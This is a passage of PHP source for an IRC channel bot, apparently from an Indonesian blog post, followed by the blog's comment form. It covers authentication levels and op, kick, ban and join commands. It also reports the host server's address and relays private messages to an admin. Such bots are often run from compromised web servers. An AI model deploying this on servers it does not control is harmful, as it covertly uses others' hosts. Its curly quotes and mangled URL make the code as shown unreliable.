else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Tadi kan udah! ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Password blom diset! Ketik: pass <password> untuk ngeset password, kemudian auth lagi deh ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Ga ada neh! Ganti nick anda kemudian auth lagi ‘ . CRL); }
}
elseif ($auth[“$dNick”][“status”] && $com[3]==’:deauth’) {
if ($auth[“$dNick”]) {
if ($auth[“$dNick”][“pass”]) {
if ($auth[“$dNick”][“auth”]==2) {
$auth[“$dNick”][“auth”] = 1;
fputs($fp,’NOTICE ‘ . $dNick . ‘ :You`re Logout! ‘ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :You`re Already Logout! ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Username Not Found! Change Your Nick then Auth Again ‘ . CRL); }
}
elseif ($auth[“$dNick”][“status”] && $com[3]==’:pass’ && $com[4]) {
if ($auth[“$dNick”]) {
if (!$auth[“$dNick”][“pass”]) {
$auth[“$dNick”][“pass”] = $com[4];
$auth[“$dNick”][“auth”] = 1;
fputs($fp,’NOTICE ‘ . $dNick . ‘ :Your Auth Pass set to ‘.$auth[“$dNick”][“pass”].’, Type: auth <your pass> To Authorized Imediately! ‘ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Pass Already Set! Type: auth <your pass> To Get Authorized ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Username Not Found! Change Your Nick then Pass Again ‘ . CRL); }
}
elseif ($auth[“$dNick”][“status”] && $com[3]==’:chgpass’ && $com[4] && $com[5]) {
if ($auth[“$dNick”]) {
if ($auth[“$dNick”][“auth”]==2) {
if ($com[4]===$auth[“$dNick”][“pass”]) {
$auth[“$dNick”][“pass”] = $com[5];
fputs($fp,’NOTICE ‘ . $dNick . ‘ :Your New Auth Pass set to ‘.$auth[“$dNick”][“pass”].’, Type: auth <your pass> To Authorized Imediately! ‘ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Please Auth First! Type: auth <your pass> To Authorized ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Username Not Found! Change Your Nick then Pass Again ‘ . CRL); }
}
elseif ($auth[“$dNick”][“status”] && $com[3]==’:adduser’ && $com[4] && $com[4]!=$nick && $com[5]) {
$com[4] = strtolower($com[4]);
if ($auth[“$dNick”][“auth”]==2) {
if ($auth[“$dNick”][“status”]==”Admin”) {
if ($com[5]==”master” || $com[5]==”user”) {
$auth[“$com[4]”][“name”] = $com[4];
$auth[“$com[4]”][“status”] = $com[5];
fputs($fp,’NOTICE ‘ . $dNick . ‘ :AddUser :’.$com[4].’ As My ‘.$com[5] . CRL);
fputs($fp,’NOTICE ‘ . $com[4] . ‘ :Anda sekarang adalah ‘.$com[5].’ saya, ditambahkan oleh ‘.$dNick.’. Ketik: pass <password> untuk mengatur password anda ‘ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Perintah salah! Ketik: adduser <nick> <master/user> ‘ . CRL); }
}
elseif ($auth[“$dNick”][“status”]==”master”) {
if (!$auth[“$com[4]”]) {
if ($com[5]==”user”) {
$auth[“$com[4]”][“name”] = $com[4];
$auth[“$com[4]”][“status”] = $com[5];
fputs($fp,’NOTICE ‘ . $dNick . ‘ :AddUser :’.$com[4].’ As My ‘.$com[5] . CRL);
fputs($fp,’NOTICE ‘ . $com[4] . ‘ :Anda sekarang adalah ‘.$com[5].’ saya ditambahkan oleh ‘.$dNick.’. Ketik: pass <passsword> untuk mengatur password anda ‘ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Perintah salah! Ketik: adduser <nick> user ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :User telah ada! Aborting AddUser! ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Status tidak diketahui! Your Status is ‘.$auth[“$dNick”][“status”] . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Mohon auth dulu! Ketik: auth <password> ‘ . CRL); }
}
elseif ($auth[“$dNick”][“status”] && $com[3]==’:deluser’ && $com[4]) {
$com[4] = strtolower($com[4]);
if ($auth[“$dNick”][“auth”]==2) {
if ($auth[“$dNick”][“status”]==”Admin”) {
if ($auth[“$com[4]”][“status”]==”master” || $auth[“$com[4]”][“status”]==”user”) {
unset($auth[“$com[4]”]);
fputs($fp,’NOTICE ‘ . $dNick . ‘ :DelUser :’.$com[4].’ From My UserList ‘ . CRL);
fputs($fp,’NOTICE ‘ . $com[4] . ‘ :Your Access As My User Has Been Deleted By ‘.$dNick . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Perintah salah! Ketik: deluser <nick> ‘ . CRL); }
}
elseif ($auth[“$dNick”][“status”]==”master”) {
if ($auth[“$com[4]”][“status”]==”user”) {
unset($auth[“$com[4]”]);
fputs($fp,’NOTICE ‘ . $dNick . ‘ :DelUser :’.$com[4].’ From My UserList ‘ . CRL);
fputs($fp,’NOTICE ‘ . $com[4] . ‘ :Your Access As My User Has Been Deleted By ‘.$dNick . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Perintah salah! Ketik: deluser <nick> ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Unknown Status! Your Status is ‘.$auth[“$dNick”][“status”] . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Please Auth First! Type: auth <your pass> To Authorized ‘ . CRL); }
}
elseif ($auth[“$dNick”][“status”]) {
if (ereg(“:`”,$com[3]) || ereg(“:!”,$com[3])) {
$chan = strstr($dCommand,”#”);
$anick = str_replace(“PRIVMSG “,””,$dCommand);
if ($com[3]==’:!auth’) {
if ($auth[“$dNick”][“auth”]==2) {
fputs($fp,’NOTICE ‘.$dNick.’ :Tadi kan udah! ‘ . CRL);
}
else {
$whois = $dNick;
fputs($fp,’WHOIS ‘.$dNick . CRL);
}
}
elseif ($com[3]==’:`auth’ && $chan) {
if ($auth[“$dNick”][“auth”]==2) {
fputs($fp,’PRIVMSG ‘.$chan.’ :ok ‘.$dNick.’ ! ‘ . CRL);
}
else { fputs($fp,’PRIVMSG ‘.$chan.’ :’.$dNick.’, ga boleh tuh! ‘ . CRL); }
}
elseif ($auth[“$dNick”][“auth”]==2) {
if ($com[3]==’:!say’ && $com[4] && $chan) {
$msg = strstr($data,”:!say”);
$msg = str_replace(“:!say “,””,$msg);
fputs($fp,’PRIVMSG ‘.$chan.’ :’.$msg. CRL);
}
elseif ($com[3]==’:!act’ && $com[4] && $chan) {
$msg = strstr($data,”:!act”);
$msg = str_replace(“:!act “,””,$msg);
fputs($fp,’PRIVMSG ‘.$chan.’ :ACTION ‘.$msg.’’. CRL);
}
elseif ($com[3]==’:!slap’ && $com[4] && $chan) {
fputs($fp,’PRIVMSG ‘.$chan.’ :ACTION slaps ‘.$com[4].’ around bit 64 bit xixixixi’. CRL);
}
elseif ($com[3]==’:!msg’ && $com[4] && $com[5]) {
$msg = strstr($data,”:!msg”);
$msg = str_replace(“:!msg $com[4] “,””,$msg);
fputs($fp,’PRIVMSG ‘.$com[4].’ :’.$msg. CRL);
}
elseif ($com[3]==’:!notice’ && $com[4] && $com[5]) {
$msg = strstr($data,”:!notice”);
$msg = str_replace(“:!notice $com[4] “,””,$msg);
fputs($fp,’NOTICE ‘.$com[4].’ :’.$msg. CRL);
}
elseif ($com[3]==’:!ctcp’ && $com[4] && $com[5]) {
$msg = strstr($data,”:!ctcp”);
$msg = str_replace(“:!ctcp $com[4] “,””,$msg);
fputs($fp,’PRIVMSG ‘.$com[4].’ :’.$msg.’’. CRL);
}
elseif ($com[3]==’:!ping’ && $chan) {
$sml = $smile[rand(0,count($smile) – 1)];
fputs($fp,’PRIVMSG ‘.$chan.’ :’.$dNick.’, PONG! ‘.$sml. CRL);
}
elseif ($com[3]==’:!info’) {
if ($auth[“$dNick”][“status”]==”Admin”) {
$bhost = $_SERVER[‘HTTP_HOST’];
$bip = $_SERVER[‘SERVER_ADDR’];
$bphp  = $_SERVER[‘PHP_SELF’];
$bruri = $_SERVER[‘REQUEST_URI’];
$brip = $_SERVER[‘REMOTE_ADDR’];
$brport = $_SERVER[‘REMOTE_PORT’];
fputs($fp,”NOTICE $dNick :Host: $bhost | Script: $bphp | Referer: $bruri | IP: $bip | Your IP: $brip Port:$brport” . CRL);
}
}
elseif ($com[3]==’:!upgrade’) {
if ($auth[“$dNick”][“status”]==”Admin”) {
$bhost = $_SERVER[‘HTTP_HOST’];
$bphp  = $_SERVER[‘PHP_SELF’];
$bruri = $_SERVER[‘REQUEST_URI’];
$upgd = implode(”,@file(‘http://&#8217;.$bhost.$bruri));
fputs($fp,”NOTICE $dNick :Upgrade Sukses! Exiting..” . CRL);
exit();
}
}
elseif ($com[3]==’:!up’ && $chan) {
fputs($fp, ‘PRIVMSG chanserv :op ‘.$chan.’ ‘.$nick . CRL);
}
elseif ($com[3]==’:!down’ && $chan) {
fputs($fp, ‘MODE ‘.$chan.’ +v-o ‘.$nick.’ ‘.$nick . CRL);
}
elseif ($com[3]==’:!cycle’ && $chan && $auth[“$dNick”][“status”]!=”user”) {
$msg = strstr($data,”:!cycle”);
if (ereg(“#”, $com[4])) {
$partchan = $com[4];
$msg = str_replace(“:!cycle $com[4]”,””,$msg);
}
else {
$partchan = $chan;
$msg = str_replace(“:!cycle”,””,$msg);
}
if (strlen($msg)<3) {
$msg = ”;
}
fputs($fp, ‘PART ‘.$partchan.’ :’.$msg . CRL);
fputs($fp, ‘JOIN ‘.$partchan . CRL);
}
elseif ($com[3]==’:!part’ && $auth[“$dNick”][“status”]==”Admin”) {
$msg = strstr($data,”:!part”);
if (ereg(“#”, $com[4])) {
$partchan = $com[4];
$msg = str_replace(“:!part $com[4]”,””,$msg);
}
else {
$partchan = $chan;
$msg = str_replace(“:!part”,””,$msg);
}
if (strlen($msg)<3) {
$msg = ”;
}
fputs($fp, ‘PART ‘.$partchan.’ :’.$msg . CRL);
$remchan = strtolower($partchan);
if (in_array($remchan, $channel)) {
$channels = str_replace(“$remchan “,””,$channels);
unset($channel);
$channel = explode(” “, $channels);
}
foreach ($channel as $v) {
fputs($fp, ‘JOIN ‘.$v . CRL);
}
}
//elseif ($com[3]==’:!join’ && $com[4] && $auth[“$dNick”][“status”]==”Admin”) {
elseif ($com[3]==’:!join’ && $com[4] && $auth[“$dNick”][“status”]!=”User”) {
if (!ereg(“#”,$com[4])) { $com[4]=”#”.$com[4]; }
$v = strtolower($com[4]);
sleep(rand(1,6));
fputs($fp, ‘JOIN ‘.$v . CRL);
}
//elseif ($com[3]==’:!botnick’ && $com[4] && !$chan && $auth[“$dNick”][“status”]==”Admin”) {
elseif ($com[3]==’:!botnick’ && $com[4] && !$chan && $auth[“$dNick”][“status”]!=”User”) {
$nick = $com[4];
$identify = $com[5];
fputs($fp, ‘NICK ‘.$nick . CRL);
fputs($fp, ‘PRIVMSG nickserv :identify ‘.$nick.’ ‘.$identify.  CRL);
}
elseif ($com[3]==’:!k’ && $com[4] && $chan) {
$msg = strstr($data,”:!k”);
$msg = str_replace(“:!k $com[4]”,””,$msg);
fputs($fp, ‘KICK ‘.$chan.’ ‘.$com[4].’ :’.$msg . CRL);
}
elseif ($com[3]==’:!kb’ && $com[4] && $chan) {
$msg = strstr($data,”:!kb”);
$msg = str_replace(“:!kb $com[4]”,””,$msg);
fputs($fp, ‘KICK ‘.$chan.’ ‘.$com[4].’ :’.$msg . CRL);
fputs($fp, ‘MODE ‘.$chan.’ +b ‘.$com[4] . CRL);
}
elseif ($com[3]==’:!changenick’) {
$nick = $nicky[rand(0,count($nicky) – 1)];
fputs($fp, ‘NICK ‘.$nick . CRL);
if (substr($dCommand,0,3)==’433’) {
$nick = $nicky[rand(0,count($nicky) – 1)];
fputs($fp, ‘NICK ‘.$nick . CRL);
}
}
elseif ($com[3]==’:!op’ && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, ‘MODE ‘.$chan.’ +ooo ‘.$opnick.’ ‘.$com[5].’ ‘.$com[6] . CRL);
}
elseif ($com[3]==’:!deop’ && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, ‘MODE ‘.$chan.’ -o+v-oo ‘.$opnick.’ ‘.$opnick.’ ‘.$com[5].’ ‘.$com[6] . CRL);
}
elseif ($com[3]==’:!v’ && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, ‘MODE ‘.$chan.’ +vvv ‘.$vonick.’ ‘.$com[5].’ ‘.$com[6] . CRL);
}
elseif ($com[3]==’:!dv’ && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, ‘MODE ‘.$chan.’ -vvv ‘.$vonick.’ ‘.$com[5].’ ‘.$com[6] . CRL);
}
elseif ($com[3]==’:!away’ && $auth[“$dNick”][“status”]==”Admin”) {
$msg = strstr($data,”:`awaymsg”);
$msg = str_replace(“:`awaymsg”,””,$msg);
if (strlen($msg)<3) {
$raway=”on”;
fputs($fp,’AWAY : ‘ . ‘AWAY’ . CRL);
}
else {
$raway=”off”;
fputs($fp,’AWAY : ‘ . $msg . CRL);
}
}
elseif ($com[3]==’:!mode’ && $com[4] && $chan) {
fputs($fp, ‘MODE ‘.$chan.’ :’.$com[4].’ ‘.$com[5] . CRL);
}
elseif ($com[3]==’:!nickmode’ && $com[4]) {
$nickmode = $com[4];
fputs($fp, ‘MODE ‘.$nick.’ :’.$nickmode . CRL);
}
elseif ($com[3]==’:!userlist’) {
$userlist=””;
foreach ($auth as $user) {
if ($user[“pass”]) { $pass=”-pass ok”; }
else { $pass=”-no pass”; }
$userlist .= $user[“name”].'(‘.$user[“status”].$pass.’) ‘;
}
fputs($fp, ‘NOTICE ‘.$dNick.’ :User List: ‘.$userlist . CRL);
}
elseif ($com[3]==’:!quit’ && $auth[“$dNick”][“status”]==”Admin”) {
$msg = strstr($data,”:!quit”);
$msg = str_replace(“:!quit”,””,$msg);
if (strlen($msg)>3) {
$msg = str_replace(” “,”_”,$msg);
}
$quitmsg = $quitmsglist[rand(0,count($quitmsglist) – 1)];
fputs($fp, ‘QUIT ‘ . $quitmsg . CRL);
$keluar = 1;
exit;
}
elseif ($com[3]==’:!vhost’ && $auth[“$dNick”][“status”]==”Admin”) {
if ($com[4]) { $localhost = $com[4]; }
else { $localhost = ‘localhost’; }
$keluar = 0;
fputs($fp, ‘QUIT ‘ . CRL);
}
elseif ($com[3]==’:!jump’ && $auth[“$dNick”][“status”]==”Admin”) {
if (empty($com[4])) {
$remotehost = $remotehost2[rand(0,count($remotehost2) – 1)];
}
else { $remotehost = $com[4]; }
$keluar = 0;
fputs($fp, “QUIT Ganti Server”.CRL);
}
elseif ($com[3]==’:!ident’ && $auth[“$dNick”][“status”]==”Admin”) {
if (!$com[4]) { $username = $username; }
else { $username = $com[4]; }
$keluar = 0;
fputs($fp, ‘QUIT Ganti Ident ‘ . CRL);
}
elseif ($com[3]==’:!fullname’ && $auth[“$dNick”][“status”]==”Admin”) {
if (!$com[4]) { $realname = “–“; }
else { $realname = $com[4]; }
$keluar = 0;
fputs($fp, ‘QUIT Ganti Nama ‘ . CRL);
}
elseif ($com[3]==’:!topic’ && $com[4] && $chan) {
$msg = strstr($data,”:!topic”);
$msg = str_replace(“:!topic “,””,$msg);
fputs($fp, ‘TOPIC ‘.$chan.’ :’.$msg . CRL);
}
elseif ($com[3]==’:!help’ && !$chan) {
fputs($fp,’PING 12886241614′. CRL);
$msgdelay = 0;
foreach ($helptext as $baris){
$msgdelay++;
if($msgdelay >= 2) { sleep(2) ; $msgdelay = 0; }
fputs($fp,’PRIVMSG ‘.$dNick.’ :’.$baris. CRL);
}
unset($baris);
unset($msgdelay);
}
/*** AUTO RESPONSE COMMAND BY RONZ **/
elseif ($com[3]==’:!ngomong’) {
$ngomong = TRUE;
$autowelcome = TRUE;
if ($chan) {fputs($fp,’PRIVMSG ‘.$chan.’ :ACTION yuhui seneng boleh ngomong lagi! Makasi BoZz’. CRL); }
else { fputs($fp,’NOTICE ‘.$dNick.’ :Ok boss, gue ngomong deh. ‘ . CRL); }
}
elseif ($com[3]==’:!diam’) {
$ngomong = FALSE;
$autowelcome = FALSE;
if ($chan) { fputs($fp,’PRIVMSG ‘.$chan.’ :ACTION Di Suruh Diam oleh Bozz :(’. CRL); }
else { fputs($fp,’NOTICE ‘.$dNick.’ :Ok boss, gue diem deh. ‘ . CRL); }
}
elseif ($com[3]==’:!wb’) {
$wbn = $com[4];
$msg = strstr($data,”:!wb”);
$msg = str_replace(“:!wb $wbn “,””,$msg);
$nickwb[] = array($wbn,$msg);
if ($chan) { fputs($fp,’PRIVMSG ‘.$chan.’ :Seep! ‘.$wbn.’ (‘.$msg.’)’. CRL); }
else { fputs($fp,’NOTICE ‘.$dNick.’ :Seep! ‘.$wbn.’ (‘.$msg.’)’. CRL); }
}
}
else { fputs($fp,’NOTICE ‘.$dNick.’ :Mohon auth dulu! Ketik: auth <password> ‘. CRL); }
}
}
elseif (!$auth[“$dNick”] && !eregi(“auth”,$iText)) {
if (eregi(“www.”,$iText) || eregi(“http:”,$iText) || eregi(“join #”,$iText)) {
if (!ereg(“#”,$dCommand)) {
if ($log==”on”) {
fputs($fp,’PRIVMSG ‘. $admin .’ :4inviter: ‘ . $dFrom . ‘2:’ .$iText. CRL);
}
$inv = strstr($dFrom,’@’);
foreach ($auth as $user) {
if ($user[“status”]==”user”) {
fputs($fp, ‘NOTICE ‘.$user[“name”].’ :KB ‘.$chan.’ ‘.$dNick.’ ‘.$inv.’’ . CRL);
}
}
}
}
elseif (!ereg(“#”,$dCommand) && $log==”on”) {
fputs($fp,’PRIVMSG ‘.$admin.’ :6′ . $dFrom . ‘12:’ .$iText. CRL);
}
}
}
}
elseif (substr($data,0,4) == ‘PING’) {
fputs($fp,’PONG ‘ . substr($data,5) . CRL);
}
}
}
fclose($fp);
} while ($keluar == 0);
}

cayank();

?>

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

%d blogger menyukai ini: